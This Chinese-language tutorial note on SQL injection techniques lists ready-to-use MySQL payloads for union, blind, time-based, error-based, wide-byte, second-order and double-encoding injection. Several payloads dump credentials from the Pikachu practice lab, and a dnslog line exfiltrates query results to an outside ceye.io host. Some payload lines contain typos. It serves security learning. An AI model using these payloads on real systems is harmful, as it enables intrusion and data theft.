SQL注入漏洞
1、 按提交方式分类
1.1 get注入
1.2 post注入
1.3 cookie注入
1.4 http头部注入
2、 按注入点类型分类
2.1 字符型
2.2 数字型
2.3 搜索型
3、 按注入攻击技术分类
3.1 union联合注入
先加 order by 进行排序,通过报错内容确定到底有几个字段可供使用
#采用二分法找到最大的可排序列,即是可查询的字段个数
a' order by 4 #%
#1 先通过union找出数据库的名称
a' union select database(),user(),3 #%
#2 得到要爆破的数据库名pikachu后,获取相关表名
u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu' #%
#3 获取表名后,查询columns表获取字段名
k' union select table_name,column_name,3 from information_schema.columns where table_name='users' #%
#4 最后通过具体表获取相关数据
kobe 'union select username ,password,3 from users #%
3.2 布尔盲注
只返回布尔值的sql注入漏洞,通过构造语句,来判断数据库信息的正确性,再通过页面反回的布尔值,来判断正确与否
#substr()函数,截取某个字符串,与后面的字符串或数字对比
k' and substr((select database()),1,1)='s'
#left()函数,截取前几个字符与期望值对比
k' and left((database()),1)='s'
#regexp函数,用正则判断
k' and select user() regexp '^r'
#like函数
k' and select user() like 'ro%'
# 爆破库、表、字段长度
k' and select length(database())<xx
#有些sql漏洞中,会屏蔽引号,因此更多采用将截取出来的字符串转为ascii码,再对比ascii码值
#ascii和ord函数功能相同,大于、小于、等于配合二分法使用
k' and ascii(substr((select database()),1,1))=114
k' and ascii(substr((select database()),1,1))>114
k' and ascii(substr((select database()),1,1))<20
ord(substr((select database()),1,1))=114
3.3 时间盲注(sleep延时注入)
语句执行后,不回显,不报错,不提示真假的sql注入漏洞。可以通过构造语句,通过条件语句判断,为真则立即执行,否则延时执行
#确实是否有注入点,如果相应时间是自定义的睡眠时间,则大概率有注入点
k' and sleep(x) #
#然后通过之前的函数,猜测库、表、字段
k' and if(ascii(substr(database(),1,1))>115,0,sleep(5));
#也可以先通过sleep计算出库、表、字段长度
k' and sleep(length(database()))
3.4 dnslog盲注
dnslog盲注原理:
- 首先需要存在sql注入漏洞,但不回显,常规只能用布尔盲注和时间盲注猜单词
- 但是利用
Mysql load_file()
函数(唯windowns),可以用sql语句发起web请求 - 将我们盲注需要获取的信息,通过二级域名的方式,发起web请求
- 利用特定的dns解析网站,获取这些二级域名的记录,就能得到数据
前提要求
- windows系统
- 该用户具有file权限
SHOW VARIABLES LIKE 'secure_file_priv'
结果为NULL
select load_file(concat('\\\\',(select version()),'.xxxx.ceye.io\\abc'))
3.5 报错注入
报错注入条件:
- 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端
- 运维人员设置中间件的时候,错误输出没有屏蔽
- 程序员写网站代码的时候,没有屏蔽错误信息输出
优缺点:
- 优点是注入速度快
- 缺点是语句较为复杂,而且只能用limit依次进行猜解
常用函数:
floor():MYSQL 中用来取整的函数
extractvalue():MYSQL 对 XML 文档数据进行查询的 XPATH 函数
updatexml():MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数【最常用的报错注入函数】
select count(*) from information_schema.tables group by concat((select version())),floor(rang(0)*2);
#concat 连接字符串功能
#floor 取float的整数值
#rang 取0-1之间随机浮点值
#group by 对结果集进行排序
select verson()就是我们用来做sql注入的语句
select extractvalue(1,concat(0x7e,(select user()),0x7e));
#extractvalue():接收2个参数,第一个xml文档,第二个xpath语句
#用concat构造一个错误的xpath字符串,使extractvalue函数报错,显示出构造的'错误'字符串
#1 爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
#2 爆数据库当前用户
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) #
#3 爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
#4 爆表名
## 反馈回的错误表示只能显示一行,所以采用limit来一行一行显示
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0) #
#5 爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) #
#6 爆字段内容
k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) #
3.6 宽字节注入
数据库必须是GBK编码,gbk处理编码的过程存在问题,可以构造数据消灭转义符\
宽字节注入原理
在对单双引号进行了转义过滤的情况下,前面的注入方式都不好使,但可以在引号前加上%df
再进行sql注入尝试
它的原理是:
\'
编码后的值为%5C%27
- 使用GBK编码数据库时,两个字符为一个汉字
- ASCII码只有128个,大于128的,就会和第二个字符组成一个汉字
- 使用
%df\'
,编码后为%df%5C%27
第一个码大于128,因此会使用前两个字符運
,最后单剩一个引号,即编码后的值为運'
- 然后就可以正常进行sql注入了
宽字节注入方法:
黑盒测试的话:在可能的注入点后,键入%df'
后,进行测试
白合测试的话:
- 查看mysql编码是否为GBK
- 是否使用
preg_replace
转换单引号为\'
- 是否使用addslashes进行转义
- 是否使用mysql_real_escape_string进行转义
宽字节注入防范:
- 使用utf-8,可以避免宽字节注入
不仅在gbk中,韩文、日文等都是宽字节 - 使用
mysql_real_escape_string
方法转义
需同时设置mysql_set_charset('gbk',$conn)
- 可以设置mysql连接参数:
character_set_clinet=binary
3.7 二次注入
二次注入原理:
- 插入恶意数据
有些程序在进行数据库插入的时候,仅仅对特殊字符进行了转义,但仍然将数据写入了数据库,如果插入的数据包含恶意内容的话 - 引用恶意数据
在插入到数据库中后,在另外的地方查询该数据的时候,如果没有对取出的数据做校验处理(即认为可信),直接使用该数据,就会造成sql二次注入
二次注入举例
举例1如下:
- 新建用户
admin'#
,有特殊字符,但写入成功,并能使用该用户登录 - 正常修改用户密码时
sql语句如是:update user set password='1234' where username='x' and psssword='xx'
- 但当用户为
admin'#
时
sql语句变为:update user set password='1234' where username='admin'#' and xxxxx
明显井号后的语句都被注释掉了 - 结果就是会修改掉原有用户admin的密码
举例2如下:
- 有两个页面,一个页面写入数据,另一个页面可以有办法查看该数据
- 如果写入时,写入了
xx' union select 1,database(),3
- 如果存在sql注入漏洞,写入的数据应该为
1,库名,3
- 在另一个页面就可以看到该库名数据
二次注入防御:
- 对外部提交的数,需要更加谨慎处理,特殊字符不写入
- 程序内部的数据调用,也要进行严格检查,不要认为可信
3.8 二次编码注入
php代码中用了urldecode()等编码函数,对url中的特殊字符进行编码,可以利用此函数与php自身编码转换,产生漏洞
二次编码注入原理:
- 用户输入
id=1%27
,会被php转码为id=1'
- 转义代码发现有单引号,转义为
id=1\'
,无法sql注入 - 用户输入
id=1%2527
,由于%25转码后就是%,因而会转码为id=1%27
- 转义代码没有发现单引号,故不转义
- 但后续urldecode等函数,处理url时,会将
id=1%27
转码为id=1'
,就可以注入
注意:如果做白盒测试,要看urldecode函数 是否在转义方法之后